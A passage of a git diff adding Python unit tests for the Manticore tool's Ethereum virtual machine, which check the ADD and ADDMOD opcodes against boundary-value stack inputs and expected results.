+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADD_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADD_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [96L])
+
+    def test_ADD_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADD_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718911L])
+
+    def test_ADD_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADD_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADD_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504350043516790537761646130706531776516538464538864L])
+
+    def test_ADD_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_ADD_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADD_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADD_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADD_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [12179180311090857651697373605969025163799437824L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMADDMOD.py b/tests/EVM/test_EVMADDMOD.py
new file mode 100644
index 0000000..479cac8
--- /dev/null
+++ b/tests/EVM/test_EVMADDMOD.py
@@ -0,0 +1,21179 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_ADDMOD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_ADDMOD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_ADDMOD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_ADDMOD_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
